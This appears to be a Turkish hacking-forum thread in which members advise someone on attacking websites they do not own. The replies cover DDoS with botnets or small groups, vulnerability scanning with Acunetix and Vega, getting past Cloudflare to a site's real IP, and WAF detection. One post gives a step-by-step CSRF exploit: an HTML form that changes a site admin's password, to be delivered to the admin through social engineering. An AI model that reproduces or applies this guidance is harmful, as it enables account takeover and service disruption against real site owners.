Sanırım kimse bilmiyor... Hedef siteye sızma (saldırma) yöntemleri ile ilgili dünya kadar güzel konular var sağolunda. Hedef sitenin ne kadar sağlam olduğunu kaç gb lık bir site olduğunu vesaire bilgileri nasıl ve nereden öğrenebiliriz? Bununla ilgili hiç bir yazı bulamadım. Konuyla ilgili bir yardımınızı rica ediyorum. Umarım yardımcı olursunuz...
Kimse bilmiyor sanırım...
- Konuyu başlatan IskorPitX1478
- Başlangıç tarihi
- Konuyu başlatan
- #7
rdos anonymous doser gibi programlarla tek başına saldırılar bilgisayar saatlerce açık ve saldırı saatlerce açık kalması şartıyla olumlu sonuçlar verebilir mi? sitenin erişimini saldırılar sürekli devam ederse tek başına yeterli olabilir mi?
ilk olarak sitenin nerde barındı çok önemli hangi sw de ona bakıcaksın vps mi host mu onları detaylı bokman lazım bir çok yerden kolayca bakıyorsun bilmiyorum diyorsan yardımcı olurum sw zaten iyi değilse geçilir her turlu okdr blgin yoksa botnet yada ddos kullancaksın bunada 5 10 kısı yeter site hostta barınıyorsa zaten direk sunucu tarafından suspended yer kapanır vps barınıyorsa biraz zorlanırsın
- Konuyu başlatan
- #9
rizelum eyvallah sağol kardeşim yardımcı olursan sevinirim, hedef sitede açık tarama programı olarak acunetixi biliyorum birde gold scanner vardı herhalde de sql xss gibi basit açıklar hedef sitede genelde olmuyor.. ama orta düzey açıklar çıkıyor hedef sitede bazen.. bunlardan nasıl faydalanabilirim bilmiyorum... hedef siteye erişimi engellemek (güçlü doğru düzgün ddos programı da yok sanırım) ya da hedef siteye sızma konularında bilgilerimi arttırmam gerekiyor...
TrTorium
Uzman üye
Bilgi Güvenliği Akedemisinin Dökümanlarını İnceleyebilirsin Açık Tarama Aracı Olarak Kali Linuxun'da İçinde Bulunan Vega'yı Öneririm Tor Yapılandırmasınıda Kolay Bir Şekilde Yapabiliyorsun.
Örneğin Cloudflare Korumalı Sistemlere Yönelik Gerçek IP Adresi Tespit Çalışmaları;
Cloudflare Korumalı Sistemlere Yönelik Gerçek IP Adresi Tespit Çalışmaları ~ Bilgi Güvenliği AKADEMİSİ
Ayrıca Sunucudaki Web Application Firewall Tespiti;
wafw00f.py ile Web Application Firewall Tespiti - Eyüp ÇELİK // Siber Güvenlik Uzmanı
Aslında Kaynak Emin Ol Fazlaca Var Ama Araştırmayı Sevmek Gerekiyor.
valla teknoloji ilerledıkce yeni açıklar cıkıyor artık eskısı gbil kolay değil herkez güvenlini alıyor nekdar alsanda gene acıklr meydana cıkıyor özelden yazarsan elimizden geldi kadar yardımcı oluruz ne demek bu devirde kolay kolay kımse kımseye yardım etmez millet sanki anasının karnında öğrenmiş gibil kibirli.
TrTorium
Uzman üye
Kim Yardım Etmiyor? Bence Eskiye Nazaran Çok Daha Fazla Profesyönel Döküman Var Ayrıca Buraya Konu Açıyorlar Yardımcı Oluyoruz İşte?
Ha Diyorsan Profesyönel Anlamda Diye Öyle Bir Şeyde Yok Örnek Veriyim;
Bga'Da Çalışan Ozan Uçar'a Ne Soru Sordumsa 1 Gün Sonra Cevapladı Adam
Ozan UÇAR | Certified Ethical Hacker
Ayrıca Şuan Eskiye Göre Çok Daha Fazla Açık Var Ama Kullanabileceğimiz Programlar'da Arttı Ayriyeten Bir Çok Konsol Uygulaması Görselleştirildi.
Yani Öğrenmeye Hevesli Olduğunda Yardım Etmeyecek Kişi Yok.
hedef sitenin kolay yoldan bilgilerie sayip olmak için çok sayıda program var ama tavsiyem Acunetix 'dir kullan biraz karışıktır ama çok kolay çözersin programı site açıklarını kapalı şekilde tarar ve güncel açık verir sadece o açığa dork basman kalır dork'ta bastınmı içeriye girmeye başlaya bilirsin başarılar ..
TrTorium
Uzman üye
Bir web site düşünün web sitenin üyelik sistemi var bura bir forum sitesi olabilir ve şifre değiştirme bölümü şöyle http://www.hedef.com/sifredegistir.php olsun siz üyeliğinizden şifreyi değiştirdiğiniz anda eğer şöyle olursa ;
http://www.hedef.com/sifredegistir.php?sifre=CWHack
rada CSRF/XSRF açığı vardır. Bizim yapmamız gereken şey sayfanın kaynak kodunu görüntelemek olacak, bu http://www.hedef.com/sifredegistir.php?sifre=CWHack sayfanın kaynak kodunu görünteleyelim.
<form></form> taglarını arayalım.
<form method=GET action=sifredegistir.php>
<input type=text name=sifreniz>
<input type=Submit Name=Submit Value=Gönder>
</form>
-Şimdi birkaç değişiklik yapacağız buradaki action=sifredegistir.php sifredegistir.php kısmına sitenin tam şifre değiştirme adresini yazıyoruz. Yani; http://www.hedef.com/sifredegistir.php yazıyoruz.
name=sifreniz buradaki sifreniz kısmına ise istediğiniz bir şifreyi yazıyoruz. Mesela abcd yazalım. Yani şöyle olacak ;
<form method=GET action=www.hedef.com/sifredegistir.php>
<input type=text name=abcd>
<input type=Submit Name=Submit Value=Gönder>
</form>
Şimdi kodları html olarak kaydedelim. Sonra hostunuza atın. Kurbana yani admine Sosyal Mühendislik yoluyla atalım. Eğer linke tıklarsa şifresi abcd olarak değişecek
- Konuyu başlatan
- #19
csrf - xsrf 'yi ben anlamadım 
( zor gibi gözüküyor ve kullanıcıya link tıklatmamız felan gerekiyor yabancı siteye bunu nasıl yapıcaz ki ancak türk sitesine yaparız sahibine tıklatırız bi sekilde oda misyon dışı ve ters yani bize
( zor gibi gözüküyor ve kullanıcıya link tıklatmamız felan gerekiyor yabancı siteye bunu nasıl yapıcaz ki ancak türk sitesine yaparız sahibine tıklatırız bi sekilde oda misyon dışı ve ters yani bize 
